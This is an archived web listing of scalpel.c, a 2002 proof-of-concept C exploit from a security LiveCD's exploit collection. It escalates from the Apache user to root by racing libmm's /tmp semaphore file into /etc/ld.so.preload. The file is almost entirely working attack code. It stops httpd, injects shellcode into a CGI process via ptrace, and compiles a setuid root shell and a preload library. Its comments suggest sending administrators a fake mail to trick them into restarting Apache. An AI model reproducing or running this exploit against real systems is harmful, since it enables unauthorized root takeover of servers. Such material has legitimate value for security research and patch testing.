home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / scalpel.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  300 lines

  1. /*** scalpel.c -- local apache/PHP root via libmm (apache-user -> root)
  2.  ***
  3.  *** (C) 2002 Sebastian Krahmer proof of concept exploit.
  4.  ***
  5.  *** Exploiting conditions:
  6.  ***
  7.  *** Apache is linked against libmm which has /tmp races.
  8.  *** Upon Apache start or restart code is executed like
  9.  *** unlink("/tmp/session_mm.sem"); open("/tmp/session_mm.sem", O_RDWR|O_CREAT).
  10.  *** If attacker exploited any CGI or PHP script remotely he gained
  11.  *** apache-user and can go one step further to get root by:
  12.  ***
  13.  *** 1) STOPing all httpd's and bring root to execute /etc/rc.d/apache restart
  14.  ***    Its very likely root does so because webserver just doesnt work anymore
  15.  ***    (all childs are STOPed). One can also send him fake-mail
  16.  ***    from httpd-watchdog that he has to invoke the command.
  17.  *** 2) Install signal-handler and using 2.4 directory notifying to see when
  18.  ***    /tmp/session_mm.sem is unlinked. Create link to /etc/ld.so.preload
  19.  ***    immediately which makes Apache creating that file.
  20.  *** 3) Trigger execution of a CGI script where Apache leaks a descriptor
  21.  ***    (r+w) to /etc/ld.so.preload to the child.
  22.  *** 4) Ptrace that script, inject code which writes content to preload-file.
  23.  *** 5) Execute suid-helper to execute code as root.
  24.  ***
  25.  *** Note in 4) that we cant ptrace httpd alone because it setuid'ed from root
  26.  *** to apache-user thus setting id-changed flag. By triggering execve() of
  27.  *** a CGI script this flag is cleared and we can hijack process.
  28.  ***
  29.  *** assert(must-be-apache-user && must-have-a-cgi-script-installed &&
  30.  ***        must-bring-root-to-restart-apache);
  31.  ***
  32.  ***
  33.  *** wwwrun@liane:~> cc scalpel.c -Wall
  34.  *** wwwrun@liane:~> ./a.out /cgi-bin/genindex.pl
  35.  *** httpd(2368): Operation not permitted
  36.  *** Creating /tmp/boomsh
  37.  *** Creating /tmp/boomso
  38.  *** Installed signal-handler. Waiting for apache restart.
  39.  *** ++++++Forking off proc-scan to attach to CGI-script.
  40.  *** Triggering CGI: /cgi-bin/genindex.pl
  41.  *** Got cgi-bin PID 2460
  42.  *** Injecting of write-code finished.
  43.  *** blub
  44.  *** +sh-2.05# id
  45.  *** uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
  46.  *** sh-2.05#
  47.  ***/
  48.  
  49. #define _GNU_SOURCE
  50. #include <stdio.h>
  51. #include <fcntl.h>
  52. #include <unistd.h>
  53. #include <signal.h>
  54. #include <sys/stat.h>
  55. #include <dirent.h>
  56. #include <sys/types.h>
  57. #include <string.h>
  58. #include <errno.h>
  59. #include <sys/ptrace.h>
  60. #include <asm/ptrace.h>
  61. #include <netinet/in.h>
  62. #include <sys/socket.h>
  63. #include <netdb.h>
  64. #include <stdlib.h>
  65. #include <sys/wait.h>
  66.  
  67. /* Please do not complain about ugly code; its a 1h exploit.
  68.  * For good code see crypto-pty for example ;-)
  69.  */
  70. int create_link()
  71. {
  72.     symlink("/etc/ld.so.preload", "/tmp/session_mm.sem");
  73.     return 0;
  74. }
  75.  
  76.  
  77. void die(char *s)
  78. {
  79.     perror(s);
  80.     exit(errno);
  81. }
  82.  
  83. void sig_x(int x)
  84. {
  85.     create_link();
  86.     printf("+");
  87. }
  88.  
  89.  
  90. void usage()
  91. {
  92.     printf("Usage: scalpel <cgi-script>\n\n"
  93.            "i.e. ./scalpel /cgi-bin/moo.cgi\n");
  94.     exit(1);
  95. }
  96.  
  97. int scan_proc()
  98. {
  99.     int lastpid, fd, i, pid, done = 0;
  100.     unsigned int eip;
  101.     char fname[1024];
  102.     char code[] = 
  103.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  104.         "\xe8\x10\x00\x00\x00\x2f\x74\x6d\x70\x2f\x62\x6f"
  105.         "\x6f\x6d\x73\x68\x2e\x73\x6f\x0a\x00\xb8\x04\x00"
  106.         "\x00\x00\xbb\x05\x00\x00\x00\x59\xba\x0f\x00\x00"
  107.         "\x00\xcd\x80\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80";
  108.     unsigned long *p;
  109.  
  110.     printf("Forking off proc-scan to attach to CGI-script.\n");
  111.  
  112.     if (fork() > 0)
  113.         return 0;
  114.  
  115.     lastpid = getpid();
  116.  
  117.     while (!done) {
  118.         for (i = 0; i < 100; ++i) {
  119.             snprintf(fname, sizeof(fname), "/proc/%d/cmdline", lastpid+i);
  120.             if ((fd = open(fname, O_RDONLY)) < 0)
  121.                 continue;
  122.             read(fd, fname, sizeof(fname));
  123.             close(fd);
  124.             if (strcmp(fname, "/usr/bin/perl") == 0) {
  125.                 if (ptrace(PTRACE_ATTACH, lastpid+i,0,0) < 0) {
  126.                     pid = lastpid+i;
  127.                     done = 1;
  128.                     break;
  129.                 }
  130.             }
  131.         }
  132.     }
  133.             
  134.     printf("Got cgi-bin PID %d\n", pid);
  135.  
  136.     waitpid(pid, NULL, 0);
  137.  
  138.     eip = ptrace(PTRACE_PEEKUSER, pid, 4*EIP, 0);
  139.     if (errno)
  140.         die("ptrace");
  141.     for (p = (unsigned long*)code; i < sizeof(code); i+= 4, ++p) {
  142.         if (ptrace(PTRACE_POKETEXT, pid, eip + i, *p) < 0)
  143.             die("ptrace");
  144.     }
  145.  
  146.     if (ptrace(PTRACE_POKEUSER, pid, 4*EIP, eip+4) < 0)
  147.         die("ptrace");
  148.  
  149.     if (ptrace(PTRACE_DETACH, pid, 0, 0) < 0)
  150.         die("ptrace");
  151.     printf("Injecting of write-code finished.\n");
  152.     exit(0);
  153. }
  154.  
  155.  
  156. int tcp_connect(const char *host, u_short port)
  157. {
  158.     int sock;
  159.     struct hostent *he;
  160.     struct sockaddr_in sin;
  161.  
  162.     if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
  163.         die("sock");
  164.  
  165.     if ((he = gethostbyname(host)) == NULL) {
  166.         herror("gethostbyname");
  167.         exit(EXIT_FAILURE);
  168.     }
  169.  
  170.     memset(&sin, 0, sizeof(sin));
  171.     memcpy(&sin.sin_addr, he->h_addr, he->h_length);
  172.     sin.sin_family = AF_INET;
  173.     sin.sin_port = port == 0 ? htons(80):htons(port);
  174.  
  175.     if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
  176.         close(sock);
  177.         return -1;
  178.     }
  179.     return sock;
  180. }
  181.  
  182.  
  183. int trigger_cgi(const char *cgi)
  184. {
  185.     char cmd[1024];
  186.     int sock = tcp_connect("127.0.0.1", 80);
  187.  
  188.     printf("Triggering CGI: %s\n", cgi);
  189.  
  190.     snprintf(cmd, sizeof(cmd), "GET %s HTTP/1.0\r\n\r\n", cgi);
  191.     if (write(sock, cmd, strlen(cmd)) < 0)
  192.         die("write");
  193.     sleep(1);
  194.     close(sock);
  195.     return 0;
  196. }
  197.  
  198. int create_boomsh()
  199. {
  200.     FILE *f = fopen("/tmp/boomsh.c", "w+");
  201.  
  202.     printf("Creating /tmp/boomsh\n");
  203.     if (!f)
  204.         die("fopen");
  205.     fprintf(f, "#include <stdio.h>\nint main()\n{\nchar *a[]={\"/bin/sh\",0};"
  206.            "setuid(0); execve(*a, a, NULL);return 1;}\n");
  207.     fclose(f);
  208.     system("gcc /tmp/boomsh.c -o /tmp/boomsh");
  209.     return 0;
  210. }
  211.  
  212.  
  213. int create_boomso()
  214. {
  215.     FILE *f = fopen("/tmp/boomso.c", "w+");
  216.  
  217.     printf("Creating /tmp/boomso\n");
  218.     if (!f)
  219.         die("fopen");
  220.     fprintf(f, "#include <stdio.h>\nvoid _init(){if (geteuid()) return;printf(\"blub\n\");"
  221.            "chown(\"/tmp/boomsh\",0, 0); chmod(\"/tmp/boomsh\", 04755);"
  222.                "unlink(\"/etc/ld.so.preload\");exit(0);}");
  223.     fclose(f);
  224.     system("gcc -c -fPIC /tmp/boomso.c -o /tmp/boomso.o;"
  225.            "ld -Bshareable /tmp/boomso.o -o /tmp/boomsh.so");
  226.     return 0;
  227. }
  228.  
  229.  
  230. int main(int argc, char **argv)
  231. {
  232.     int fd;
  233.     struct stat st;
  234.     char *cgi = NULL;
  235.     extern char **environ;
  236.     char *boomsh[] = {"/tmp/boomsh", NULL};
  237.     char *suid[] = {"/bin/su", NULL};
  238.  
  239.     if (argc < 2)
  240.         usage();
  241.  
  242.     cgi = strdup(argv[1]);
  243.  
  244.     setbuffer(stdout, NULL, 0);
  245.  
  246.     system("killall -STOP httpd");
  247.  
  248.     create_boomsh();
  249.     create_boomso();
  250.  
  251.     if ((fd = open("/tmp", O_RDONLY|O_DIRECTORY)) < 0) {
  252.         return -1;
  253.     }
  254.  
  255.     if (fcntl(fd, F_SETSIG, SIGUSR1) < 0) {
  256.         return -1;
  257.     }
  258.  
  259.     if (fcntl(fd, F_NOTIFY, DN_MODIFY|DN_DELETE|DN_RENAME|DN_ATTRIB
  260.                    |DN_CREATE|DN_MULTISHOT|DN_ACCESS) < 0) {
  261.         return -1;
  262.     }
  263.     
  264.     signal(SIGUSR1, sig_x);
  265.  
  266.     printf("Installed signal-handler. Waiting for apache restart.\n");
  267.  
  268.     /* wait for /etc/ld.so.preload to apear */
  269.     while (stat("/etc/ld.so.preload", &st) < 0)
  270.         sleep(1);
  271.  
  272.  
  273.     /* forks off daemon */
  274.     scan_proc();
  275.  
  276.     /* Trigger execution of a CGI-script */
  277.     trigger_cgi(cgi);
  278.  
  279.     for(;;) {
  280.         sleep(1);
  281.         memset(&st, 0,sizeof(st));
  282.         stat("/etc/ld.so.preload", &st);
  283.         if (st.st_size > 0)
  284.             break;
  285.         if (stat("/tmp/boomsh", &st) == 0 && st.st_uid == 0)
  286.             break;
  287.     }
  288.  
  289.     /* Apropriate content is in /etc/ld.so.preload now */
  290.     if (fork() == 0) {
  291.         execve(*suid, suid, NULL);
  292.         exit(1);
  293.     }
  294.     sleep(3);
  295.     execve(*boomsh, boomsh, environ);
  296.  
  297.     return 0;
  298. }
  299.  
  300.